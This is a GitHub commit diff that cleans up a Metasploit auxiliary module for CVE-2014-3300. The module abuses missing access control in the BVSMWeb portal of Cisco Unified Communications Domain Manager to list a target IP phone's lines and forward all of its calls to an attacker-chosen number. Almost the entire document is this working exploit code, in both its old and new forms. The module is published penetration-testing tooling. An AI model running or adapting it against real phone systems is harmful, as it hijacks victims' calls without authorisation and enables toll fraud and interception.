Skip to content

Commit 9fb4cfb

Browse files
jvazquez-r7jvazquez-r7
committed
Do First callforward cleanup
1 parent f7af0d9 commit 9fb4cfb

File tree

1 file changed

+86
-80
lines changed

1 file changed

+86
-80
lines changed

‎modules/auxiliary/voip/cisco_cucdm_callforward.rb

Lines changed: 86 additions & 80 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http//metasploit.com/download
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -12,110 +12,116 @@ class Metasploit3 < Msf::Auxiliary
1212

1313
include Msf::Exploit::Remote::HttpClient
1414

15-
def initialize(info = {})
16-
super(
17-
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
18-
'Description' => %q{
19-
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM)
20-
in Unified CDM Application Software before 10 does not properly implement access control,
21-
which allows remote attackers to modify user information. This vulnerability can be exploited
22-
for unauthorised call forwarding using this module. This tool can be tested with the fake
23-
voss-xmlservice component of Viproy.
24-
},
25-
'Author' => 'fozavci',
26-
'References' =>
27-
[
28-
['CVE', '2014-3300'],
29-
['BID', '68331'],
30-
['Viproy Fake CUCDM Service', 'https://github.com/fozavci/viproy-voipkit/raw/master/external/voss-xmlservice.rb']
31-
],
32-
'License' => MSF_LICENSE,
33-
'Actions' =>
34-
[
35-
[ 'Forward', {
36-
'Description' => 'Enabling the call forwarding for the MAC address.'
37-
} ],
38-
[ 'Info', {
39-
'Description' => 'Retrieving the call forwarding information for the MAC address.'
40-
} ]
41-
],
42-
'DefaultAction' => 'Info'
43-
44-
)
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
18+
'Description' => %q{
19+
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM)
20+
in Unified CDM Application Software before 10 does not properly implement access control,
21+
which allows remote attackers to modify user information. This vulnerability can be exploited
22+
for unauthorised call forwarding using this module. This tool can be tested with the fake
23+
voss-xmlservice component of Viproy.
24+
},
25+
'Author' => 'fozavci',
26+
'References' =>
27+
[
28+
['CVE', '2014-3300'],
29+
['BID', '68331']
30+
],
31+
'License' => MSF_LICENSE,
32+
'Actions' =>
33+
[
34+
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address.' } ],
35+
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address.' } ]
36+
],
37+
'DefaultAction' => 'Info'
38+
))
4539

4640
register_options(
47-
[
48-
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
49-
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
50-
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
51-
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines', '']),
52-
], self.class)
41+
[
42+
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
43+
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
44+
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
45+
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
46+
], self.class)
5347
end
5448

5549
def run
5650
uri = normalize_uri(target_uri.to_s)
5751
mac = Rex::Text.uri_encode(datastore["MAC"])
5852
forward_to = Rex::Text.uri_encode(datastore["FORWARDTO"])
5953

60-
61-
print_status("Getting fintnumbers and display names of the IP phone")
62-
63-
uri_show=normalize_uri(uri+"/showcallfwd.cgi?device=SEP#{mac}")
64-
vprint_status("URL: "+uri_show)
54+
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
6555

6656
res = send_request_cgi(
6757
{
68-
'uri' => uri_show,
58+
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
6959
'method' => 'GET',
60+
'vars_get' => {
61+
'device' => "SEP#{mac}"
62+
}
7063
})
7164

72-
if res and res.code == 200 and res.body =~ /fintnumber/
73-
doc = REXML::Document.new(res.body)
74-
lines=[]
75-
fintnumbers=[]
65+
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
66+
print_error("#{peer} - Target appears not vulnerable!")
67+
return
68+
end
69+
70+
doc = REXML::Document.new(res.body)
71+
lines = []
72+
fint_numbers = []
7673

77-
list=doc.root.get_elements("MenuItem")
78-
list.each {|lst|
79-
xlist=lst.get_elements("Name")
80-
xlist.each {|l| lines << "#{l[0]}"}
81-
xlist=lst.get_elements("URL")
82-
xlist.each {|l| fintnumbers << "#{l[0].to_s.split("fintnumber=")[1]}" }
83-
}
84-
lines.size.times{|i| print_status("Display Name: "+lines[i]+"\t"+"Fintnumber: "+fintnumbers[i])}
74+
list = doc.root.get_elements('MenuItem')
8575

86-
# for a specific FINTNUMBER redirection
87-
fintnumbers = [datastore["FINTNUMBER"]] if [datastore["FINTNUMBER"]]
76+
list.each do |lst|
77+
xlist = lst.get_elements('Name')
78+
xlist.each {|l| lines << "#{l[0]}"}
79+
xlist = lst.get_elements('URL')
80+
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
81+
end
8882

89-
if action.name.upcase == "FORWARD"
90-
fintnumbers.each {|fintnumber|
83+
lines.size.times do |i|
84+
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
85+
end
9186

92-
print_status("Sending call forward request for #{fintnumber}")
87+
# for a specific FINTNUMBER redirection
88+
fint_numbers = [datastore['FINTNUMBER']] if datastore['FINTNUMBER']
9389

94-
uri_fwd=normalize_uri(uri+"/phonecallfwd.cgi?cfoption=CallForwardAll&device=SEP#{mac}&ProviderName=NULL&fintnumber=#{fintnumber}&telno1=#{forward_to}")
95-
vprint_status("URL: "+uri_fwd)
96-
res = send_request_cgi(
97-
{
98-
'uri' => uri_fwd,
99-
'method' => 'GET',
100-
})
90+
if action.name.upcase == "FORWARD"
91+
fint_numbers.each do |fintnumber|
10192

102-
uri_fwdpln=normalize_uri(uri+"/showcallfwdperline.cgi?device=SEP#{mac}&fintnumber=#{fintnumber}")
103-
vprint_status("URL: "+uri_fwdpln)
104-
res = send_request_cgi(
105-
{
106-
'uri' => uri_fwdpln,
107-
'method' => 'GET',
108-
})
93+
print_status("#{peer} - Sending call forward request for #{fintnumber}")
10994

110-
if res and res.body and res.body.to_s =~ /CFA/
111-
print_good("Call forwarded successfully for #{fintnumber}")
95+
send_request_cgi(
96+
{
97+
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
98+
'method' => 'GET',
99+
'vars_get' => {
100+
'cfoption' => 'CallForwardAll',
101+
'device' => "SEP#{mac}",
102+
'ProviderName' => 'NULL',
103+
'fintnumber' => "#{fintnumber}",
104+
'telno1' => "#{forward_to}"
105+
}
106+
})
107+
108+
res = send_request_cgi(
109+
{
110+
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
111+
'method' => 'GET',
112+
'vars_get' => {
113+
'device' => "SEP#{mac}",
114+
'fintnumber' => "#{fintnumber}"
115+
}
116+
})
117+
118+
if res && res.body && res.body && res.body.to_s =~ /CFA/
119+
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
112120
else
113-
print_status("Call forward failed.")
121+
print_status("#{peer} - Call forward failed.")
114122
end
115-
}
116123
end
117-
else
118-
print_error("Target appears not vulnerable!")
119124
end
120125
end
126+
121127
end

0 commit comments

Comments
 (0)